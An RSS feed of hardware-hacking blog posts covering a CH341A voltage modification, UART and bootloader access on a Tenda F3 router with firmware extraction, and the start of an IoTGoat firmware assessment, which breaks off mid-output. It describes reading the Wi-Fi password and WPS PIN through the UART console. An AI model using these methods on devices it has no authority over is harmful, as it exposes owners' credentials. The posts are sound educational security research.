<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Omer G on Medium]]></title>
        <description><![CDATA[Stories by Omer G on Medium]]></description>
        <link>https://medium.com/@omergnscr?source=rss-7850207f7557------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*PpiyDJp4MLQlWc_yVyevZg.jpeg</url>
            <title>Stories by Omer G on Medium</title>
            <link>https://medium.com/@omergnscr?source=rss-7850207f7557------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Wed, 25 Nov 2026 00:14:46 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@omergnscr/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[CH341A Programmer: 5V to 3.3V Modification]]></title>
            <link>https://omergnscr.medium.com/ch341a-programmer-5v-to-3-3v-modification-9dcd8f8fea36?source=rss-7850207f7557------2</link>
            <guid isPermaLink="false">https://medium.com/p/9dcd8f8fea36</guid>
            <dc:creator><![CDATA[Omer G]]></dc:creator>
            <pubDate>Wed, 28 Oct 2026 15:28:00 GMT</pubDate>
            <atom:updated>2026-10-28T15:34:40.639Z</atom:updated>
            <content:encoded><![CDATA[<p>To extract the firmware from a <a href="https://radiohackers.com/tenda-f3-router-hardware-uart-and-bootloader-analysis-28e67a7e9cc7">Tenda F3 router</a>, I needed to read its 3.3 V SPI flash memory chip with a CH341A programmer. Before the modification, measurements on the programmer’s data pins such as MOSI, MISO and CS pins showed approximately 5 V. This voltage could damage the flash chip, so I modified the programmer to use 3.3V logic levels in order to read the contents of flash chip. The references for this modifications are at the end of this article.</p><p>CH341A programmer receives 5V from USB, and supplies 5V to its output pins as I measured but the SPI flash chip requires 3.3V as stated in its datasheet. So, modification is required in order to read flash chip’s content.</p><p>The programmer already has a voltage regulator, which is 1117C Voltage Regulator that converts 5V to 3.3V. So, this regulator can be used to supply 3.3V logic levels to data pins.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*N3Sh-cmh--JsBLWJ0XVBqw.png" /><figcaption>CH341A programmer before modification</figcaption></figure><h4>TL;DR</h4><p>All I did was cutting the 5V trace from USB to CH341A programmer on PCB, connecting 3.3V pin to Pin 9 (connected to C4 capacitor’s pad for this project, also 3.3V can be connected to voltage regulator’s output pin) and connecting 3.3V to 5V using jumper. This simple fix modifies programmer to supply 3.3V to its data pins instead of 5V.</p><h4>Cutting the 5V Trace</h4><p>I cut the copper trace on the back of the board that carries 5 V to the CH341A programmer. This separates the chip’s supply from USB 5 V. USB still supplies 5 V to the regulator input, so the regulator can keep producing 3.3 V.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*fTc22a5rfAM83Z37sG8fbQ.png" /><figcaption>Cutting the USB 5V’s trace.</figcaption></figure><p>Without this cut, the jumper would connect USB 5 V directly to the regulator’s 3.3 V output.</p><h4>Connecting 3.3V Supply</h4><p>The CH341A has two power connections relevant to this modification: VCC at pin 28 and V3 at pin 9. These numbers refer to the pins of the CH341A 28-pin SOP IC package. VCC is the main power input, while V3 is the connection to the chip’s internal 3.3 V supply.</p><p>After cutting the old 5 V trace, I used the jumper to connect the board’s 3.3 V supply to the “5V”, which is connected to VCC at pin 28. The wire to C4 connects the same supply to V3 at pin 9. Both power pins are therefore supplied by the 3.3 V voltage regulator.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*TAttZV6K4343CmHa8TWgYw.png" /><figcaption>Explanation of the connections.</figcaption></figure><p>C4 is a small capacitor connected between V3 and ground. One of its pads is connected directly to CH341A pin 9. I used this pad because it gives easy access to the V3 supply connection. Soldering the wire there has the same effect as connecting it directly to pin 9.</p><p>With VCC and V3 connected to the same 3.3 V supply, the CH341A now operates with 3.3V logic levels. USB still provides 5 V to the regulator, but not directly powers the controller. This modification solves the mismatch between the programmer and the flash chip before firmware extraction.</p><h4>References</h4><p><a href="https://sawyershepherd.org/post/solderless-ch341ab-fix-5v-to-33v-data-lines/">https://sawyershepherd.org/post/solderless-ch341ab-fix-5v-to-33v-data-lines/</a><br> <a href="https://wej.k.vu/electronics/ch341a-mini-programmer-fix/">https://wej.k.vu/electronics/ch341a-mini-programmer-fix/</a><br> <a href="https://github.com/Upcycle-Electronics/CH341A-Pro">https://github.com/Upcycle-Electronics/CH341A-Pro</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=9dcd8f8fea36" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Tenda F3 Router Analysis — Part 2: Extracting Firmware from SPI Flash]]></title>
            <link>https://radiohackers.com/tenda-f3-router-analysis-part-2-extracting-firmware-from-spi-flash-224f010ac179?source=rss-7850207f7557------2</link>
            <guid isPermaLink="false">https://medium.com/p/224f010ac179</guid>
            <category><![CDATA[reverse-engineering]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[firmware]]></category>
            <category><![CDATA[hardware-hacking]]></category>
            <category><![CDATA[iot-security]]></category>
            <dc:creator><![CDATA[Omer G]]></dc:creator>
            <pubDate>Fri, 16 Oct 2026 21:38:55 GMT</pubDate>
            <atom:updated>2026-10-21T09:11:07.397Z</atom:updated>
            <content:encoded><![CDATA[<p>In the first part of this series, I explored the router’s hardware, accessed its UART console, and extracted the flash contents through the Realtek bootloader. This time, I wanted to read the flash chip directly using a CH341A programmer.</p><p>Although I already had a firmware dump, the goal was also to learn the hardware side of the process: removing the chip, communicating with it outside the board, reading its contents, and soldering it back.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/966/1*MwmD4JVacpXSP8LDcl0TnQ.png" /></figure><h4>1. A Quick Look at SPI Flash</h4><p>The router stores its firmware in an SPI flash chip. Unlike RAM, this memory retains its contents when power is disconnected.</p><p>SPI stands for Serial Peripheral Interface. In an SPI connection, the programmer supplies a clock signal and selects the chip before exchanging commands and data.</p><blockquote>CS / Chip Select → Selects the flash chip<br>CLK / Serial Clock → Provides the clock for communication<br>MOSI / SI → Sends data from the programmer to the chip<br>MISO / SO → Returns data from the chip to the programmer</blockquote><p>The chip also needs the appropriate supply voltage and a common ground. The BY25D80 datasheet specifies an operating voltage of 2.7–3.6 V, making 3.3 V appropriate for this device.</p><h4>2. From a Test Clip to Chip-Off</h4><p>My first attempt was using a SOIC8 test clip while the chip was still soldered to the board. However, I could not obtain consistent identification results. AsProgrammer repeatedly returned values such as FFFFFF or 000000 instead of a useful device ID.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*0N1M4j4I20KOPsbVrFnD_w.png" /></figure><p>I also noticed that supplying power through the flash connection powered other parts of the router. This made the setup more complicated than a connection to an isolated chip.</p><p>I did not establish the exact cause of the failed in-circuit reads. So,I decided to remove the chip and read it separately. With the chip disconnected from the PCB, the CH341A programmer could communicate with it without the rest of the router attached.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*li__1SGImMaaDzxfBw_r8A.jpeg" /></figure><p>Pin 1 orientation matters both when connecting the chip to the programmer and when placing it back on the board. The chip’s pin 1 orientation should be documented before removal.</p><p>Desoldering the chip without hot air station or flux was difficult. I added my own solder to the joints, which made them easier to melt with my soldering iron. Otherwise, my own soldering iron can not melt the solder on the chip.</p><h4>3. Identifying and Reading the Chip</h4><p>The marking on the package reads H25S80. After removing it from the board, I connected the chip to the CH341A and used AsProgrammer on Windows.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/965/1*yOb-LZai292Jn_9SbtPZeA.jpeg" /></figure><p>As mentioned in Part 1, my CH341A had been modified for 3.3 V operation. The chip was read separately from the router.</p><p>This time, AsProgrammer returned a identification:</p><blockquote>Current programmer: CH341<br> ID(9F): 684014<br> ID(90): 6813<br> ID(AB): 13</blockquote><p>AsProgrammer identified the device as BY25D80 (Boya). AsProgrammer’s database maps 684014 to the BY25D80, with a capacity of 1,048,576 bytes.</p><p>I kept both pieces of information in my notes: H25S80 is the package marking that is printed on the physical chip; BY25D80 is the identification reported by the software.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/852/1*Db33F1mi9bhfoA0gHbsAHQ.png" /></figure><p>The BY25D80 has an 8 Mbit capacity. That corresponds to 1 MiB, or 1,048,576 bytes, from starting address 0x000000 to 0x0FFFFF .</p><p>After selecting the BY25D80 (Boya), I used AsProgrammer’s ReadIC command to read the chip contents and saved the .bin file.</p><h4>4. Verifying the Dump</h4><p>A completed read operation is only the first check. Repeating the process helps reveal unstable connections or inconsistent reads. In my case, the hashes of the repeated chip reads matched.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/846/1*loKahbMrHdDYeMyUyFtZTg.png" /></figure><p>Each complete read of this chip should contain 1,048,576 bytes. Matching SHA-256 hashes is a strong check. A successful comparison confirms that the two files are byte-for-byte identical.</p><p>I also compared the SPI dump with the UART dump obtained in Part 1. Their SHA-256 hashes matched, confirming that both methods produced identical flash images.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/933/1*XS_JdOEIGxXYvvY--_kLCg.png" /></figure><h4>5. Soldering the Chip Back</h4><p>The hardware work did not go entirely smoothly. During removal, solder ended up on the RAM pins, and I had to clean it before returning the router to service.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Xabla11BfdVuxQvtoFNWHQ.png" /></figure><p>After cleaning the solder and soldering the flash chip back onto the PCB, I powered on the router. It booted, and I was able to connect to its Wi-Fi network and access the web interface.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*YEA9bjp2mPnOV67KPROTyg.png" /></figure><h4>6. What Comes Next?</h4><p>This part gave me practical experience with direct SPI flash: moving from unsuccessful clip reads to a chip-off read, identifying the device, checking dumps, and restoring the hardware.</p><p>With a firmware dump available and the router working again, the next part will focus on the firmware itself: its structure, embedded web resources, and the code behind the router’s services.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=224f010ac179" width="1" height="1" alt=""><hr><p><a href="https://radiohackers.com/tenda-f3-router-analysis-part-2-extracting-firmware-from-spi-flash-224f010ac179">Tenda F3 Router Analysis — Part 2: Extracting Firmware from SPI Flash</a> was originally published in <a href="https://radiohackers.com/">Radio Hackers</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Tenda F3 Router Analysis — Part 1: Exploring Hardware, UART and Bootloader]]></title>
            <link>https://radiohackers.com/tenda-f3-router-hardware-uart-and-bootloader-analysis-28e67a7e9cc7?source=rss-7850207f7557------2</link>
            <guid isPermaLink="false">https://medium.com/p/28e67a7e9cc7</guid>
            <category><![CDATA[iot-security]]></category>
            <category><![CDATA[firmware]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[hardware-hacking]]></category>
            <category><![CDATA[reverse-engineering]]></category>
            <dc:creator><![CDATA[Omer G]]></dc:creator>
            <pubDate>Fri, 09 Oct 2026 13:43:27 GMT</pubDate>
            <atom:updated>2026-10-28T15:39:04.022Z</atom:updated>
            <content:encoded><![CDATA[<p>This project explores hardware, firmware and security of the Tenda F3 Router for educational purposes. As an electrical &amp; electronics engineer who is interested in cybersecurity, I believe that one of the best ways to learn about electronics is getting your hands dirty and starting practical analysis of electronic devices. Taking a device apart and analyzing it can teach you as much as building it from scratch. So, this is a journey starting from hardware components to its running services. This write-up includes hardware components, UART interface, access to bootloader console and firmware extraction through UART interface.</p><h3>1. Hardware Components</h3><p>I began by exploring both sides of PCB and identifying its main components. These components give us information about how this device works from its very beginning.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*rmof7snQoq8VEdxTJJ2jUg.jpeg" /><figcaption>Front of the board</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/800/1*1EK82037WhJaeFw8Q-YELw.jpeg" /><figcaption>Back of the board</figcaption></figure><h4>1-A. CPU — RTL8196E</h4><p>The processor on this board is Realtek RTL8196E. CPU can also be confirmed from UART boot output. As it describes on its website, it is a SoC network processor that is designed for routers, access points and other network devices. It states that RTL8196E is a RISC-based CPU running at 400 MHz clock speed. Although, it states that the CPU has 5 10/100M ethernet ports, router used in this project only has 4 ethernet ports, one for WAN port and 3 for LAN ports. As in Pin Assignments part of its datasheet, pin numbers of 126 and 125 are RX and TX pins of UART communication protocol. With this information, we can identify the UART pins this device using continuity mode of our multi-meter. By placing one probe to CPU’s RX or TX pin and other probe on unknown pins (TP1 to TP10) on the back of the device, we can determine which pin is RX or TX.</p><h4>1-B. Memory — ESMT M12L64164A</h4><p>The RAM on this board is ESMT M12L64164A. From its datasheet, it is a 67,108,864 bits SDRAM, which is 8 megabytes, which can be confirmed from UART boot output where it says “SDRAM:8MB”. RAM holds the data while the router is running. This data includes running firmware, network tables, connection states and other runtime information. For this project, RAM is useful because it helps us to understand what the router is doing while it runs. Later, we’ll investigate the UART interface and try to read its memory.</p><h4>1-C. Flash Chip — H25S80</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/400/1*znkWAAhSsQBNRwakPtL7mw.jpeg" /><figcaption>H25S80</figcaption></figure><p>The SPI flash chip on this board is marked as H25S80. Searching for this on the internet leads to datasheets for the EN25S80, which states that an operating voltage of 1.8 V. However, I measured approximately 3.3 V between pins 8 and 4 while the router was running. Because of this, the exact manufacturer and datasheet for this chip have not yet been confirmed. Flash chips are used for storing data that is need to be retained when device is powered off . It stores data such as firmware, bootloader, configurations, settings and other persistent data. In IoT devices, the flash memory chip is generally connected to main processor. The processor can read the firmware that is stored in flash memory chip and uses it to start the system.</p><h4>1-D. Network Interface Controller — RTL8192ER</h4><p>The RTL8192ER is a Wi-Fi controller of the router. As it refers in its official website, this chip is an 802.11bgn 2.4G single-chip that integrates Wireless LAN (WLAN) and a network PCIe controller. Means that the chip is used for handling the wireless communication of the router while communicating with the CPU through PCI Express interface. Instead the CPU handling the Wi-Fi operations by itself, RTL8192ER handles the Wi-Fi related operations such as receiving and transmitting the wireless data.</p><h3>2. Lab Setup</h3><p>List of tools I used for this project</p><ol><li>Multimeter</li><li>Common tools such as soldering station, cables, screwdrivers etc.</li><li>Saleae Logic Analyzer</li><li>CH341A EEPROM Flash Programmer</li><li>1.8V adapter for CH341A in case of needing 1.8V</li><li>FTDI232 USB-UART Converter</li><li>LM2596 Step-Down Voltage Regulator for Router</li><li>SOIC Test Clips</li><li>Logic 2 and Asprogrammer apps on Windows and Linux</li><li>Necessary tools on Kali Linux</li></ol><p>Some issues I encountered:</p><ol><li>I had 12V adapters but Tenda F3 router requires 9V so voltage regulator such as LM2596 was needed.</li><li><a href="https://medium.com/@omergnscr/ch341a-programmer-5v-to-3-3v-modification-9dcd8f8fea36">I modified my CH341A programmer for 3.3 V operation to match the voltage measured on the board. I described this modification in another write-up.</a></li><li><a href="https://radiohackers.com/tenda-f3-router-analysis-part-2-extracting-firmware-from-spi-flash-224f010ac179">I could not obtain a flash dump using the SOIC8 test clip and CH341A while the chip was on the board. Information on the internet forums states that desoldering the chip from the board may help solving this problem. I did the chip-off extraction in another write-up.</a></li></ol><h3>3. Finding the UART Interface</h3><p>Finding the UART pins are relatively easy to identify on devices. Pins are most likely to be revealed on first inspection. On some devices, pins are just out there to easily be connected with cables like jumper. In our case, pins are small circles called test pads. I used hot glue and solder to make jumper connection more stable.<br> One way to figure out which pins are UART pins, we can simply measure its voltage while it is booting up. Voltage that fluctuates during boot can suggest active TX pad, but this does not confirm that the signal is UART. Another way is to use continuity mode on the multimeter to figure out which pin is RX or TX. What I mean by that is placing one probe on processor’s TX or RX pin and other probe to test pins can reveal which pin on the board is TX or RX. Continuity tests should be performed with the router powered off and disconnected from its power supply.<br> From RTL8196E’s datasheet, its RX and TX pins are number 126 and 125, respectively. For example, one probe on pin 125 and other pin on test pin reveals the TX pin.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*t3SPsAb-EU_HG1ZjPcZdIg.png" /><figcaption>The processor and its image on datasheet</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/860/1*rF8bVLSpaWEY9M3EPgjFEQ.png" /><figcaption>Connection of UART pins</figcaption></figure><h3>4. Connecting to UART</h3><p>Before connecting FTDI232 UART-USB converter to get a UART interface, let’s look at its signals using Logic Analyzer. For the logic analyzer capture, I connected a digital input to the router’s TX pad and connected the analyzer’s ground to the board’s ground.<br> Connection is relatively simple, board’s RX to FT232’s TX and board’s TX to FT232’s RX and ground to common ground point as in picture below.</p><p>Board TX → FT232 RX<br>Board RX → FT232 TX<br>Board GND → FT232 GND</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*XtCJH0xQOkmHm-ub1YZwcg.png" /><figcaption>Physical connection of Logic Analyzer to the device</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*3Sx5t3nyzFAHPgLUIJ5seA.gif" /><figcaption>Booting process of the device</figcaption></figure><p>For calculating the baud rate, looking at data table for timestamps is used. For example, receiving ‘B’ char takes approximately 3.367 527 417 s — 3.367 267 333 s = 0,000260084 s. For 8N1 UART, for one char, it is 1 start bit + 8 data bit + 1 stop bit = 10 bit. So, 10 / 0,000260084 = 38.449,11 and this could be interpreted as 38400 baudrate.</p><p>Output of boot process reveals us information about the device. The bootloader states that -RealTek(RTL8196E) running on device at 400 MHz and 8 MB of SDRAM. It then checks the image header, uncompresses the kernel and boots the kernel. Then, it initializes the Ethernet and Wi-Fi interfaces as “Init device ‘rltk819x_eth0’”. Later, it reveals that it uses “cyg_net_init” which is used in eCos embedded operating system. Router then initialize services such as http, upnp, dnsmasq, sntp, dhcp etc. And, the line that starts with CLI&gt; indicates a command line interface through UART.</p><h3>5. Exploring the UART Interface</h3><p>UART interface welcomes us with a command-line input with useful commands. Running the “help” command lists commands for exploring the device’s system, network, configurations and memory.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/596/1*D0APxk0kzNkOBZSknUQE1g.png" /><figcaption>help command’s output</figcaption></figure><p>Firstly, I ran a “version” command to check the operating system.</p><pre>CLI&gt; version<br><br>1.4.2<br>Built Wed, 23 Nov 2016 19:10:58 +0800foo@linux-aj0z<br>eCos Release: 3.0.-1<br>Using mips-elf-gcc (Realtek RSDK-1.5.7p1 Build 1031) 4.4.6</pre><p>This gave us information about the software running on RTL8196E. The chip was running on eCos rather than Linux.</p><p>Next, I used the “ps” command to inspect the system’s running threads.</p><pre>CLI&gt; ps<br><br>---------- -- ------ ---------------------- -- -- ---------- ---------- ----------<br>Handle     ID State  Name                   SP CP Stack Base Stack Size Stack Used<br>---------- -- ------ ---------------------- -- -- ---------- ---------- ----------<br>0x803b21e8 1  RUN    Idle Thread            31 31 0x803b22e0 0x00000800 0x00000434<br>0x8073da98 2  SLEEP  Network alarm support  5  5  0x80739a98 0x00004000 0x00000810<br>0x803be0a0 3  SLEEP  Network support        7  7  0x803ba09c 0x00004000 0x0000065c<br>0x803b3484 4  SUSP   pthread.00000800       15 15 0x803b3588 0x00001eac 0x00000164<br>0x802a35c0 6  SLEEP  main                   8  8  0x802975bc 0x0000c000 0x00001c84<br>0x8074c260 7  SLEEP  Cleanup Thread         5  5  0x8074c380 0x00001000 0x00000130<br>0x802cac90 8  RUN    cli console            3  3  0x802cad88 0x00004000 0x000009e4<br>0x80311e88 9  SLEEP  httpd_main             6  6  0x80309e84 0x00008000 0x000004f4<br>0x80305be8 10 SLEEP  IGD                    8  8  0x80305ce0 0x00004000 0x000009c8<br>0x802e0508 11 SLEEP  DNS daemon             9  9  0x802dd504 0x00003000 0x00000858<br>0x80749aa8 12 SLEEP  SNTP                   8  8  0x80749ba0 0x00001000 0x00000438<br>0x802ca798 13 SLEEP  DHCP_server            8  8  0x802c7794 0x00003000 0x00000784<br>0x802b0a20 14 SLEEP  wan_surfing_check      8  8  0x802afa1c 0x00001000 0x0000014c<br>0x802b50b0 15 SLEEP  reboot_check           8  8  0x802b40b0 0x00001000 0x00000320<br>0x802a69d0 16 EXIT   run_sh0                7  7  0x802a6ac8 0x00004000 0x00001c78<br>Total Stack Size:  214700<br>Total Stack Used:  32592</pre><p>Its output includes cli console, httpd_main, IGD (Internet Gateway Device), DNS daemon, SNTP, DCHP_server etc. This command displays IDs, Stack Base, Stack Size and Stack Used.<br> Let’s understand some basics here: Stack Base shows the reserved region on RAM for httpd_main thread. The address 0x80309e84 represents the starting (base) address of this reserved stack region for httpd_main thread. Stack Size of 0x00008000 means that 32768 byte = 32 KiB stack region is reserved for httpd_main thread. Also, the command reported a Stack Used value of 0x000004f4, equivalent to 1,268 bytes.</p><p>Next, the “ifconfig” output showed Ethernet (eth0), Wi-Fi (wlan0), Bridge (bridge0) and Loopback (lo0) interfaces. The Ethernet interface has 192.168.0.1 with a subnet mask of 255.255.255.0.</p><p>One of the most important commands is “nvram show” command. This command outputs network and wireless settings such as:</p><pre>lan_ipaddr=192.168.0.1<br>lan_netmask=255.255.255.0<br>wan0_proto=dhcp<br>br0_ifnames=eth0 wlan0</pre><blockquote>Also, the “nvram” command revealed Wi-Fi password in “wl_wpa_psk” value and WPS PIN. This was an important finding so far.</blockquote><p>The CLI also provides a “dump” command for reading its memory. First, I inspected the starting address that we’ve seen in the boot output:</p><pre>CLI&gt; dump 0x800004c4 64<br><br>800004C4: 3C 02 80 00 24 42 04 D4 00 40 00 08 00 00 00 00               &lt;...$B...@......<br>800004D4: 40 80 68 00 00 00 00 00 3C 02 10 00 34 42 FF 00               @.h.....&lt;...4B..<br>800004E4: 40 82 60 00 00 00 00 00 00 00 00 00 00 00 00 00               @.`.............<br>800004F4: 40 08 60 00 00 00 00 00 3C 01 80 00 01 01 40 25               @.`.....&lt;.....@%</pre><p>Researching this data helps me understand what this means about processors and memory. Our device uses eCos as its operating system and uses MIPS architecture. So the output of this command shows us MIPS instructions.</p><p>I used “rasm2” tool to translate MIPS instructions into human-readable format, as this:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/942/1*rhA3iScEYWWkGZzUeO6I-Q.png" /></figure><h3>6. Accessing the Bootloader and Extracting Firmware</h3><p>So far, I’ve been exploring the eCos CLI, but by pressing ESC during boot process, I interrupted the normal boot process and accessed a different prompt. It was Realtek’s bootloader command-line interface. Typing ? displays a list of commands.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/903/1*wiIPOdYeFOMGimVw40BFEw.png" /></figure><p>The most interesting command is FLR, which is used for copying data from flash to RAM and DB command then lets us display the copied bytes, allowing us to inspect raw memory, extract firmware or dump specific data for analysis. Using <a href="https://github.com/banksy-git/lidl-gateway-freedom/blob/master/scripts/dump_flash.py">this script</a>, I obtained 1MiB firmware image, which I saved for analysis later:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/945/1*xx7QOD0N5O7YHalst9qvUg.png" /></figure><p>The bootloader reported 4 MiB of flash, while the running firmware reported 1 MiB. Therefore, the physical chip still needs verification, which I plan to investigate during chip-off extraction.</p><h3>7. Conclusion</h3><p>In this write-up, we identified the hardware components, UART interface, captured the boot output, explored the CLI, accessed the Realtek’s bootloader CLI and extracted the firmware through the UART interface by reading its memory. Next steps are obtaining the firmware by chip-off extraction and comparing it to the image obtained through UART. And examining the firmware’s code and its running processes, services and web interface.</p><h3>8. References</h3><p>Some nice blogs for reading more about this stuff:<br> <a href="https://loonaire.github.io/posts/reversetendamw6/">https://loonaire.github.io/posts/reversetendamw6/</a><br> <a href="https://jbit.net/Elecom_WRC-733FEBK_Part1/">https://jbit.net/Elecom_WRC-733FEBK_Part1/</a><br> <a href="https://byebyesky.github.io/blog/hacking/embedded/2019/05/28/hacking-a-router-3.html">https://byebyesky.github.io/blog/hacking/embedded/2019/05/28/hacking-a-router-3.html</a><br> <a href="https://demux-labs.com/writing">https://demux-labs.com/writing</a><br> <a href="https://github.com/mrxehmad/Firmware-Analyses/tree/main/Tenda%20F3">https://github.com/mrxehmad/Firmware-Analyses/tree/main/Tenda%20F3</a><br> <a href="https://github.com/bread-b4nk/reversing-tenda-n301/tree/main">https://github.com/bread-b4nk/reversing-tenda-n301/tree/main</a><br> <a href="https://blog.topsec.com.cn/tenda-n301%E8%B7%AF%E7%94%B1%E5%99%A8%E5%9B%BA%E4%BB%B6%E5%88%86%E6%9E%90/">https://blog.topsec.com.cn/tenda-n301%E8%B7%AF%E7%94%B1%E5%99%A8%E5%9B%BA%E4%BB%B6%E5%88%86%E6%9E%90/</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=28e67a7e9cc7" width="1" height="1" alt=""><hr><p><a href="https://radiohackers.com/tenda-f3-router-hardware-uart-and-bootloader-analysis-28e67a7e9cc7">Tenda F3 Router Analysis — Part 1: Exploring Hardware, UART and Bootloader</a> was originally published in <a href="https://radiohackers.com/">Radio Hackers</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[IoTGoat Firmware Security Assessment: An OWASP FSTM-Based Analysis]]></title>
            <link>https://omergnscr.medium.com/iotgoat-firmware-security-assessment-an-owasp-fstm-based-analysis-c3cd7d8aee0e?source=rss-7850207f7557------2</link>
            <guid isPermaLink="false">https://medium.com/p/c3cd7d8aee0e</guid>
            <category><![CDATA[reverse-engineering]]></category>
            <category><![CDATA[iotgoat]]></category>
            <category><![CDATA[owasp]]></category>
            <dc:creator><![CDATA[Omer G]]></dc:creator>
            <pubDate>Sun, 16 Aug 2026 18:05:18 GMT</pubDate>
            <atom:updated>2026-08-16T18:21:54.444Z</atom:updated>
            <content:encoded><![CDATA[<p>IoTGoat is an intentionally vulnerable firmware that is designed for testing commonly found vulnerabilities in IoT devices. The vulnerabilities are based on OWASP IoT Top 10 project.</p><p>This analysis is based on <a href="https://scriptingxss.gitbook.io/firmware-security-testing-methodology">OWASP Firmware Security Testing Methodology</a>.</p><h4>[Stage 1] Information gathering and reconnaissance</h4><p>Target: IoTGoat<br>Supported CPU architecture(s): x86 (32 Bit)<br>Operating system platform: OpenWrt<br>Firmware Release: v1.0<br>Testing Environment: Kali Linux in a VirtualBox internal network</p><h4>[Stage 2] Obtaining firmware</h4><p>IoTGoat Firmware was obtained from official IoTGoat GitHub Repository. As an image, IoTGoat-x86.img.gz is selected because it is a x86-based target that can be deployed in VirtualBox testing environment.</p><h4>[Stage 3] Analyzing firmware</h4><p>Before extracting the firmware, exploring the characteristics of a firmware, such as file types, potential root file system metadata and understanding of platform, is crucial for security assessment. Tools for firmware analysis and their output:</p><pre>❯ file IoTGoat-x86.img <br>IoTGoat-x86.img: DOS/MBR boot sector<br><br>❯ strings -n 16 IoTGoat-x86.img | less<br>serial --unit=0 --speed=38400 --word=8 --parity=no --stop=1 --rtscts=off<br>terminal_input console serial; terminal_output console serial<br>set root=&#39;(hd0,msdos1)&#39;<br>menuentry &quot;OpenWrt&quot; {<br>linux /boot/vmlinuz root=PARTUUID=02b9c201-02 rootfstype=squashfs rootwait console=tty0 console=ttyS0,38400n8 noinitrd<br>...<br>4.14.95 (embedos@embedos) #0 SMP Wed Jan 30 12:21:02 2019</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/936/1*1paRAPlDtIz8Y9-8NiWLvA.png" /><figcaption>Binwalk output showing IoTGoat image</figcaption></figure><p>There is a catch, if we try to extract “xz compressed data” part of the firmware, we see that this is a false-positive because binwalk found a signature which belongs to xz compression. But in reality, when we try to extract the xz part and try to decompressed it, we get an error as:</p><pre>~/IoTGoat_Sec_Assmnt   <br>❯ dd if=IoTGoat-x86.img bs=1 skip=$((0x51446A)) of=xz.bin<br><br>280411030+0 records in<br>280411030+0 records out<br>280411030 bytes (280 MB, 267 MiB) copied, 300.745 s, 932 kB/s<br><br>~/IoTGoat_Sec_Assmnt   <br>❯ xz -t xz.bin                                    <br>xz: xz.bin: Compressed data is corrupt<br><br>~/IoTGoat_Sec_Assmnt   <br>❯ xxd -s $((0x51446A - 32)) -l 128 IoTGoat-x86.img <br>0051444a: 206c 6172 6765 000a 4465 636f 6d70 7265   large..Decompre<br>0051445a: 7373 696e 6720 4c69 6e75 782e 2e2e 2000  ssing Linux... .<br>0051446a: fd37 7a58 5a00 585a 2d63 6f6d 7072 6573  .7zXZ.XZ-compres<br>0051447a: 7365 6420 6461 7461 2069 7320 636f 7272  sed data is corr<br>0051448a: 7570 7400 4275 6720 696e 2074 6865 2058  upt.Bug in the X<br>0051449a: 5a20 6465 636f 6d70 7265 7373 6f72 0050  Z decompressor.P<br>005144aa: 6172 7369 6e67 2045 4c46 2e2e 2e20 004e  arsing ELF... .N<br>005144ba: 6f20 7265 6c6f 6361 7469 6f6e 206e 6565  o relocation nee<br><br>~/IoTGoat_Sec_Assmnt   <br>❯ fdisk -lu IoTGoat-x86.img<br>Disk IoTGoat-x86.img: 272.5 MiB, 285736960 bytes, 558080 sectors<br>Units: sectors of 1 * 512 = 512 bytes<br>Sector size (logical/physical): 512 bytes / 512 bytes<br>I/O size (minimum/optimal): 512 bytes / 512 bytes<br>Disklabel type: dos<br>Disk identifier: 0x02b9c201<br><br>Device           Boot Start    End Sectors  Size Id Type<br>IoTGoat-x86.img1 *      512  33279   32768   16M 83 Linux<br>IoTGoat-x86.img2      33792 558079  524288  256M 83 